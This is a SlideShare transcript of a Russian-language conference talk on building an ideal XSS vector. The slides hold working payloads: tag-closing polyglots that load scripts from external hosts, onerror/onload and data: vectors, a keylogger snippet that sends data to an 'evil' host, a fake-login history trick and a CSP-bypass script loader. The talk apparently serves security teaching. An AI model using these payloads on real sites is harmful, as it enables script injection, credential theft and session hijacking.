Download to read offline
![CSP Bypass
s=document.createElement('script')
s.src='//bo0om.ru/csp.js'
let f = window.frames[0].document
f.head.appendChild(s)](https://image.slidesharecdn.com/scriptalertscript-181009115732/85/KazHackStan-script-alert-script-55-320.jpg)
Uploaded byДмитрий Бумов
KazHackStan - "><script>alert()</script>
Документ содержит обзор векторов XSS-атак, включая анализ различных HTML-тегов и их атрибутов. Рассматриваются способы экранирования и закрытия тегов для предотвращения выполнения вредоносных скриптов, а также протоколы, используемые в таких атаках. Включены примеры кода и техники, такие как внедрение внешних скриптов и отправка данных с помощью keylogger'ов.
KazHackStan - "><script>alert()</script>
- 1. Лопаницын Bo0oM Антон "><script>alert()</script> Впоисках идеального вектора атаки
- 3.
- 4. Краткий обзор XSSвекторов
- 5. Разбор вектора Экранирование минуса?Закрывает комментарий--> ‘>"> </style> </div></article> </script> "> <script src= https://securityz.net/1.js?> Закрытие атрибутов тега Закрытие тегов На всякий случай Ссылка на https сценарий 83 символа
- 6. Разбор вектора -->‘>"></style></div></article></script>"><script src=https://securityz.net/1.js?> 83 символа '"--></style></script><scriptsrc=//securityz.net/1.js> 55 символов
- 7. Где не выполнитсяскрипт?
- 8.
- 9.
- 10.
- 11. Выбираем теги <img> VS<svg> onError onLoad src + вызов ошибки
- 12. Выбираем теги <img srconerror=alert()> <svg onload=alert()> vs
- 13.
- 14.
- 15.
- 16. Разбираемся в протоколах <ahref=”XXX”>Homepage</a> <iframe src=”XXX”></iframe>
- 17.
- 18.
- 19.
- 20. Разбираемся в протоколах data: <scriptsrc=data:,alert()></script>
- 21.
- 22. Разбираемся в протоколах Текущийпротокол - // http://example.com => <a href=//test> => http://test https://example.com => <a href=//test> => https://test
- 23. Разбираемся в протоколах <ahref='//test'>click me</a>
- 24.
- 26.
- 27.
- 28. Закрываем атрибуты "> '>--> == "'-->
- 29. Еще частные случаи <script>/* XXX */ </script> <script> // XXX </script> <script> `XXX` </script>
- 30. Еще частные случаи <script>a = 'XXX'</script> <script> a = "XXX"</script> X’X”X => replace <script> a = 'X'X"X'</script> <script> a = "X'X"X"</script>
- 31. Еще частные случаи X'X"X=> <script> a = 'X'X"X'</script> <script> a = "X’X"X"</script>
- 33.
- 34. Ок, делаем cвойвектор дальше "'--></noscript></style></script></textarea></title> + <img/src/onerror=alert()> ?
- 35.
- 36.
- 37.
- 38.
- 39.
- 40. Keylogger var xhr =new XMLHttpRequest(); xhr.open... fetch(//evil)
- 41.
- 42.
- 43.
- 44.
- 45.
- 46.
- 47.
- 48. HTML5 History API history.pushState(0,0, '/login');
- 49.
- 50.
- 54.
- 55. CSP Bypass s=document.createElement('script') s.src='//bo0om.ru/csp.js' let f= window.frames[0].document f.head.appendChild(s)
- 56.
Editor's Notes
- #17 Если мы закроем тег – замечательно!
- #29 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
- #30 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
- #31 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
- #32 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
- #33 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
- #34 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
- #35 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки